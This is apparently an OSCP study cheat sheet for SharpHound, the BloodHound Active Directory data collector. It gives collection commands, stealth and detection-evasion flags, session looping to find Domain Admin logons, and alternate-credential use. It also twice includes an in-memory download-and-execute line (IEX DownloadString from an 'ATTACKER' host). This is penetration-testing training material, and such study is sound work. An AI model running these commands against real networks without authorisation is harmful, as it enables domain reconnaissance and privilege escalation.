SharpHound — Data Collector
What is SharpHound?
SharpHound is the official BloodHound collector for Windows. It queries AD (LDAP) and optionally SMB to build JSON/ZIP files you import into Bloodhound + Sharphound for attack-path analysis.
OSCP use: After domain user creds, run SharpHound → import to BloodHound → find shortest path to Domain Admin. Faster than manual PowerView hunting for complex ACL chains.
For BloodHound UI setup, queries, and bloodhound-python (Linux collector), see Bloodhound + Sharphound.
Download
# GitHub releases (SharpHound.ps1 + SharpHound.exe)
# https://github.com/SpecterOps/SharpHound/releases
# On attacker — serve via [[File Transfer]]
python3 -m http.server 8080📌 1) Basic Collection (EXE)
REM Default collection — good starting point
.\SharpHound.exe -c Default
REM Thorough OSCP collection
.\SharpHound.exe -c All
REM Sessions + ACLs + local admin (high value)
.\SharpHound.exe -c All,GPOLocalGroup
REM Output to specific folder
.\SharpHound.exe -c All -o C:\Temp\ --zipfilename bh_lootOutput: YYYYMMDDHHMMSS_BloodHound.zip → copy to Kali → BloodHound → Upload Data.
📌 2) Collection Methods (-c)
| Method | Collects |
|---|---|
Default | Groups, Trusts, LocalAdmin, Sessions, ObjectProps, ACL, RDP, DCOM, PSRemote |
All | Everything |
Group | Group memberships |
LocalAdmin | Who has local admin on machines (SMB) |
Session | Logged-on users (noisy) |
ACL | Object permissions |
ObjectProps | Descriptions, SPNs, flags |
Trusts | Domain trusts |
DCOnly | LDAP only — stealth (no SMB) |
GPOLocalGroup | GPO-based local group membership |
REM Stealth — LDAP only, no SMB session枚举
.\SharpHound.exe -c DCOnly
REM Throttle + jitter (evade detection in labs)
.\SharpHound.exe -c Default --throttle 1000 --jitter 20📌 3) PowerShell (In-Memory)
No EXE on disk — preferred when AV is a concern:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -OutputPrefix corp
REM Stealth LDAP-only
Invoke-BloodHound -CollectionMethod DCOnly -Throttle 1000 -Jitter 20
REM Loop sessions (find DA logged in somewhere)
Invoke-BloodHound -CollectionMethod Session -Loop -LoopDuration 02:00:00 -LoopInterval 00:05:00📌 4) Alternate Credentials / DC Targeting
.\SharpHound.exe -c All --ldapusername jsmith --ldappassword "Password1" -d corp.local --domaincontroller 10.10.10.10From Linux without Windows box → use bloodhound-python, RustHound, or bloodyAD get bloodhound (see Bloodhound + Sharphound).
📌 5) Import into BloodHound
# On Kali — start BloodHound + Neo4j, then:
# UI → Upload Data → select ZIP
# Or legacy BloodHound
bloodhound &
# → drag ZIP into windowFirst queries to run
| Query | Purpose |
|---|---|
| Find all Domain Admins | Confirm DA accounts |
| Shortest Paths to Domain Admins | Primary OSCP query |
| Find Kerberoastable Users | SPN targets |
| Find AS-REP Roastable Users | No-preauth accounts |
| Find DCSync Rights | DCSync abuse path |
📌 6) SharpHound vs Other Enum
| Tool | When |
|---|---|
| SharpHound | Graph attack paths — best ROI with domain user (Windows) |
| RustHound | Same from Linux/macOS — Rust binary, ADCS on legacy |
| PowerView | Quick one-off LDAP queries from shell |
| bloodyAD | LDAP writes — DCSync, GenericAll, RBCD after BloodHound |
| ldapsearch | Linux, anonymous/custom LDAP filters |
nxc ldap --users | Fast user list from Kali |
| Kerbrute | Username enum / spray (no graph) |
📌 Quick Cheat Sheet
.\SharpHound.exe -c All -o C:\Temp\IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/SharpHound.ps1')
Invoke-BloodHound -CollectionMethod All# Import ZIP in BloodHound → "Shortest Paths to Domain Admins"